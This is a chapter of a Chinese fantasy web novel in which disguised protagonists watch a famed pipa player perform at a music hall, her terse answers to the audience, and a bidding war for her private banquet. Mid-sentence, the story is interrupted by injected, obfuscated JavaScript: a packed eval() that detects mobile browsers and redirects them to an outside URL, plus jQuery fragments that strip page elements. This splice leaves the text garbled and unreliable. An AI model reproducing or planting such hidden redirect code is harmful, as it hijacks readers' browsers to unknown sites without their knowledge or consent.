待青晏与颜故散去神念,思绪重新回到位于一楼大堂的幻灵上时,明煦和唐禾仍在津津有味地看着表演,乐台上的人也已经换成了几个舞姿翩翩的男子,一舞结束后台下喝彩声依旧。
及又过了两个节目后,一群侍女鱼贯而入,纷纷将厅堂中的烛火一一熄灭,屋子里顿时昏暗无比,只余下朦胧的光影。
忽然一声筝鸣,将众人的视线再度引至台上,却只见到一扇半透屏风上影影绰绰透出来的人影。
屏风后烛光摇曳,映得筝上双手起伏舒展,柔美如画,阵阵筝声也极为柔婉悠扬,仿若一叶轻舟穿过缥缈烟云,朝着漫漫天地行进。
待古筝弹奏片刻后,乐台上又亮起另一道烛火,这一扇半透屏风后站着一个手持笛子的男子,其笛音飘逸空灵,宛若风过竹海,直上云霄,令人心神一荡。
此后,便是一道又一道烛火接连亮起,一扇又一扇屏风上映出数位正弹奏着各种不同乐器的人来,八座屏风分置乐台两端,齐齐相对而立,唯独中央留出了一片空旷之地。
柳滢容的身影就是这个时候出现在那片空旷中央的。
她身着一众彩绣辉煌的衣衫,乌黑发髻上赤金首饰光芒耀眼夺目,面上也戴着缀了珍珠的鎏金流苏面帘。
然而这一身华贵的打扮在她那双如雪原般清冷的眼眸映衬下,却让她整个人散发出一股神妃仙子降临凡尘般的熠熠华光来,璀璨逼人,不可直视。
见她出场,众人虽心潮如涌难以自抑,却也不敢放声高呼,只得眼神灼热地盯着乐台,最激动的人也不过是将双手紧紧握在了一起。
想来是柳滢容规矩严苛,如有大声喧哗者必遭驱逐,今日又是乐楼重新装潢后开业的第一天,门外依旧围着不少看客,若是此时被赶出去,想来要比平日里更加难堪上十倍。
柳滢容往台下扫了一眼,纤手在琵琶上虚虚一晃,紧接着数阵恢弘大鼓声在鼓影屏风后隆隆乍起,满堂震响。
几声清脆的鼓棒敲击声之后,柳滢容皓腕在琴身上用力一拨,铮铮弦音于四条弦索上猛地爆裂开来,如箭在弦上疾射,在堂内不断激昂盘桓着。
片刻后清越笛声再度前来相伴,琵琶弦音也逐渐变得活泼恣意,宛若万马出关奔腾,叫人心中畅快至极。柳滢容微闭着眼,手指在弦上不断轻盈跃动,全然一片惬意模样。
忽地鼓声再一响,弦音立刻变得急促铿锵,直压得人喘不过气,只能瞪大双眼,满心惊惧地被密不透风的音符层层包围。也不知过了多久,一股苍凉的尺八乐音从屏风后传出,仿佛秋深叶落,将那琵琶之音显得更加哀戚。
台下众人本正细细品着这份凄婉悲怆,突然乐声戛然而止,继而琵琶之声如狂风骤雨般癫狂爆发,让人头痛欲裂。柳滢容的指尖在弦上急速飞舞,似幻影般让人难以看清。
又过了半晌,琵琶曲调逐渐平和下来,其音清磬如淙淙流水叮咚作响,却不知为何总有一股深入骨髓的凉意在耳畔打转。
几息过后,柳滢容伴着琵琶诉出的弦音低低吟唱起来。
那嗓音宛若天降清辉,冷寂皎洁,虽未吐一词一句,但却仿佛包含了万千情感,如明月穿透云层般直抵人心深处,让所有的污浊无处遁形。
渐渐地,她的声音弱了下去,琵琶之声也愈发缓慢,直至最后,她猛一挑弦,那弦音犹如金戈交击、铁马奔腾,一股肃杀之气顿时弥漫开来,于堂内久久不散。
台下听众呆坐许久,半天才有人从这难以言喻的震撼中抽离,如梦初醒般轻轻吸了口气。
随着这片沉寂被打破,掌声也慢慢从厅堂内各个角落响起,最后汇成如雷鸣一般的震动,在整个仙音阁内回响。
堂内蜡烛被重新点燃,屏风后的八位乐师走了出来,与柳滢容一同对台下施礼后便下了台。
数位杂役轻手利脚地将台上的八面屏风及一应乐器迅速搬走,又拿上来一把铺着软垫的红木圈椅,供独自留在台上的柳滢容来坐。
一见这把椅子登台,台下诸人瞬间激动不已,纷纷小声而又急促地交谈起来。
唐禾不明所以,探头过去听了一阵,回首对着青晏几人道:“好像是这把椅子一旦上台,就代表着柳滢容今日心情不错,在场的人可以和她说上几句话。但具体能说几句,等下还要再看她决定。”
“那没有椅子的时候呢?”明煦问道。
“结束之后转头就走。”唐禾朝一旁努努嘴,“他们正在讨论到底该说些什么才能不浪费这个机会呢。”
“果然是承安郡第一乐师,”明煦啧啧两声,“这排场,在哪儿都少见呐。”
她凑到青晏身边:“我刚才留心了,柳滢容确实是人,身上也没缠着什么怨气,绝对没下手杀过人。可这乐楼里好像也没有什么妖邪的气息,咱们下一步怎么办,还要拍她的私宴吗?”
青晏正打算告诉明煦刚才自己和颜故的所见所闻,台上柳滢容身子微微一动,如仙子拈花般比出三根手指来。台下讨论之音在这三根手指伸出之后静了一瞬,而后猛然变得更加喧嚣。
明煦唐禾像商量好了似的,一起支棱着耳朵到旁桌偷听去了。很快唐禾便转了回来,对青晏颜故兴奋道:“他们说,柳滢容这次居然破天荒地能让他们说上三句话呢!”
明煦也转了回来,飞快地补道:“平时最多也就两句!”
青晏无奈地笑笑:“怎么连你们也兴奋起来?”
明煦一脸理所当然:“看热闹嘛,自然是越稀奇,平日里越见不到的才好。”
讨论的声音渐渐低了下去,似乎是他们已经商议好了到底应该说些什么,且这次还是那位拿着象牙销金扇的儒雅男子率先开的口。
他斯斯文文地道:“我等此前只有幸聆听过柳姑娘独奏,柳姑娘单独演奏时,琵琶技艺已是极为高绝,世上罕见,着实令人叹服,今日的合奏又颇有另一番意趣。不知姑娘今日特意选择合奏,是有何特别的缘由吗?”
柳滢容的视线在他身上落了一瞬,不咸不淡道:“心情好。”
“我可没看出来她心情好。”明煦嘟哝道。
“刚才那大爷不是说过她平时没什么笑模样嘛,可能如今这样已经算心情好了。”唐禾小声回道。
“因为什么事情心情这么好?”一个手上戴了七八枚金玉戒指的富态男子完全无视周围人的阻拦,不管不顾地问道,“说出来听听看呀,我们也想知道知道,什么事儿才配让小娘子你高兴?咱也可以一起高兴高兴,是不是?”
“喝多了吧你!”在郭记酒肆坐他们对桌的刘掌柜气恼地拍了一下自己的大腿,怒气冲冲地对那富态男子道,“想被赶出去是你自己的事,何必浪费我们一句话!”
仿佛是为了印证他的话一般,刘掌柜话音刚落,几位不知道从哪儿冒出来的彪形大汉便将那富态男子团团围住,十分客气地将他“请”了出去,也嗓音洪亮地礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13988143|148307||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
貌告知他今后不必再来。
待房间内重新安静下来后,柳滢容的目光终于肯从琵琶上抬了起来,对台下轻飘飘地给出了刚才那个问题的答案:“无可奉告。”
“请问柳乐师,”青晏微微昂头,直视乐台上的柳滢容,“这首曲子所名为何?”
柳滢容转过头来长久地凝视着青晏,青晏也坦然回望着她。
二人对视良久,柳滢容忽然露出一个春风化雪般的微笑来,和柔道:“无可奉告。”随即她抱着琵琶站起身来,脚步轻快地离去。
“你!”一个约莫二十多岁的白净男子拍桌而起,咬牙切齿道,“哪儿来的呆子,知不知道规矩,好容易有一次能说三句话的机会,刚才那个大傻子浪费一个不说,你又浪费一个?是不是欠揍啊!”
堂内众人纷纷对青晏怒目而视,只有第一个提问的儒雅男子将手中的扇子摇了又摇,随即阻止道:“诸兄莫急,我看柳姑娘的反应似喜非怒,想来这‘无可奉告’四字应与刚才第二个回答的意义并不相同。若以此推断,此曲之名,或许恰是‘无可奉告’。”
他转向不知何时再次出现的莫文才:“莫先生,你知道此曲的名字吗?”
“在下可以前去一问。”莫文才微微欠了欠身,随即略提升了嗓门,对堂内诸人道:“今日所出演的诸位乐艺高手均会在承安郡停留半年,各位在举办宴会时若欲请雅乐助兴,可以委托在下代为邀约。同时,三日后,柳乐师所设的楼内宴席将再度开启,规矩同往日一样,以价论英雄,不设底价,望诸君悉知。”
说完,他笑眯眯地在台上一站,静静地看着堂内这二三十人七嘴八舌地喊起价来。
“一千两!”白净男子率先叫道。
“一千两?”一个留着两撇胡子的中年人阴阳怪气地重复了一遍白净男子的出价,“就这么点钱,还是留着给你家小妾过八十大寿吧!五千两!”
“你家小妾才需要过八十大寿!八千两!”
刘掌柜咬了咬牙,也跟着喊道:“一万两!”
“两千两千加有什么诚意啊,一万五千两!”中年男人两撇胡子抖了抖。
明煦还没掰完手指头算清楚前面那轮八千两的出价到底能够他们吃多少顿饭,那些人就已经将价格喊到三万两了,急得她直跳脚:“这些人的钱都是哪儿来的,就这么花也不心疼吗?咱们在郭记酒肆四个人吃得那么好才花了六百三十一文,那一文还抹了没收!这三万两银子,能够咱们吃……”她又开始掰起手指头。
“别掰了,”青晏盖住她的手指尖,“你想不想也玩一玩?”
“当然想啊!”明煦眼睛一下子亮起来。她的视线在青晏和颜故身上来回打转:“那今日的消费算在哪位公子的头上?”
青晏指了指自己,明煦小小地欢呼了一声,开心道:“秦公子,你这钱够花吧?”
她朝青晏连飞三道含情脉脉的眼神,突然又想起来自己和青晏的幻灵又都是男人模样,吓得浑身一凛,连忙收起笑容。不过好在周围的人都已经喊价喊到快要打起来了,所以并没有人发现。
“随便花。”青晏耸肩道。
她想了想,又补了一句,“你只要别上来就喊破天就行,一点点加,别出格。”
“没问题。”
明煦清了清嗓子,站在人堆外听了一阵,终于找到一个话口,在对方喊出三万八千两的时候立刻大声道:“八万两!!!”